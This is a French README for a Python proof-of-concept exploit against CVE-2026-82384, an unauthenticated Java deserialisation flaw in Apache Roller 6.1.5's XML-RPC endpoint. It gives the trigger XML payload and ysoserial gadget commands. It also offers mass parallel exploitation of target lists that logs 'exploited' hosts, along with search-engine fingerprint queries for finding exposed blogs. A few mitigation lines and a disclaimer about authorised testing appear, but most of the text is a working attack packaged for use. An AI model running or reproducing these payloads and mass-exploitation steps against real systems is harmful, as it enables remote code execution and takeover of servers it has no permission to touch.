
PoC Python pour CVE-2026-82384 : détecte et exploite la désérialisation Java non authentifiée via XML-RPC dans Apache Roller 6.1.5 à l'aide de charges utiles ysoserial, avec analyse en masse.
PoC en Python 3 pour CVE-2026-82384 — désérialisation Java non authentifiée sur le servlet XML-RPC historique d'Apache Roller 6.1.5.
Page du PoC : https://pocbit.org/pocs/cve-2026-82384
Apache Roller est un serveur de blogs multi-utilisateurs basé sur Java (historiquement « Roller Weblogger »). Les déploiements sont généralement des WAR Tomcat avec une interface sous /roller-ui/ et des API historiques Blogger / MetaWeblog via XML-RPC à l'adresse /roller-services/xmlrpc. Roller 6.1.5 (sept. 2025) a corrigé un problème de session sans rapport (CVE-2025-24859) mais a laissé la pile XML-RPC dans une configuration dangereuse pour cette CVE.
CVE-2026-82384 est une désérialisation de données non fiables (CWE-502) sur le point de terminaison XML-RPC :
XmlRpcServlet de Roller est configuré avec enabledForExtensions=true, de sorte que la bibliothèque Apache ws-xmlrpc accepte les types d'extension propriétaires, notamment ex:serializable — un objet Java sérialisé encodé en base64.web.xml, donc l'analyseur s'exécute même lorsque les administrateurs désactivent XML-RPC dans les paramètres de Roller (webservices.enableXmlRpc=false). Désactiver la fonctionnalité dans l'interface ne ferme pas ce chemin pré-authentification sur 6.1.5.Affecté : Apache Roller 6.1.5 uniquement (selon l'avis du fournisseur).
Corrigé : Apache Roller 6.1.6+ (PR #171) : enabledForExtensions=false, et rejet des requêtes lorsque XML-RPC est désactivé globalement.
| Métrique | Valeur |
|---|---|
| CVSS 3.1 | 9.8 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | Aucune pour la primitive de désérialisation |
| Découvreur | n0mi1k |
| Fournisseur | Apache Software Foundation |
| Élément | Détail |
|---|---|
| Point de terminaison | POST /roller-services/xmlrpc (essayez aussi /roller/roller-services/xmlrpc) |
| Content-Type | text/xml |
| Déclencheur | <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> à l'intérieur d'un methodCall |
| Chaîne de gadgets | Dépend du classpath (Commons Collections, etc.) ; souvent générée avec ysoserial |
| Impact | RCE sous l'utilisateur OS de Tomcat/Roller ; généralement contrôle total des données du blog et pivot sur l'hôte |
| Mode | Comportement |
|---|---|
check | Détecte les empreintes de Roller, localise l'URL XML-RPC, --probe-deser optionnel (envoie des octets de sonde ex:serializable) |
exploit | Envoie votre payload sérialisé (fichier, base64, ou ysoserial via --ysoserial-jar) |
| Mass | --list targets.txt --mode exploit -j N — traitement en masse parallèle avec JSONL + exploited.txt |
Champs PoCbit : pocbit, pocbit_catalog, pocbit_page sur chaque ligne JSONL.
CLI : bannière colorée, lignes [HIT] / [EXPLOIT] / [FAIL] (désactivable avec --no-color).
Ce dépôt ne fournit pas de chaînes de gadgets RCE prêtes à l'emploi (dépendantes du classpath). Pour une exploitation réelle, fournissez une sortie ysoserial ou un fichier de payload vérifié.
pip install -r requirements.txt
Pour RCE (pas seulement la détection) :
URLDNS (preuve hors bande), CommonsCollections6 (exécution de commandes sur le classpath Roller typique — à vérifier d'abord en laboratoire)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
Sorties :
cve_2026_82384_exploit.jsonl — JSON par cibleexploited.txt — cibles où la charge utile a été acceptée / OOB envoyé<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
Sur 6.1.5, l'analyse de ce corps peut entraîner une désérialisation avant que tout gestionnaire de méthode n'applique les contrôles d'identification.
/roller-services/xmlrpc au niveau du reverse proxy / WAF (liste blanche des IP d'administration uniquement).Apache Roller, /roller-ui/, les hôtes de blog sur les ports 8080/8443.body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
Confirmez la version 6.1.5 à partir du pied de page, de la page « à propos », ou de WEB-INF / des notes de version avant de la considérer comme exploitable.
À utiliser uniquement sur des systèmes que vous êtes autorisé à tester. Les exploits de désérialisation peuvent détruire des données et enfreindre la loi en cas de mauvaise utilisation.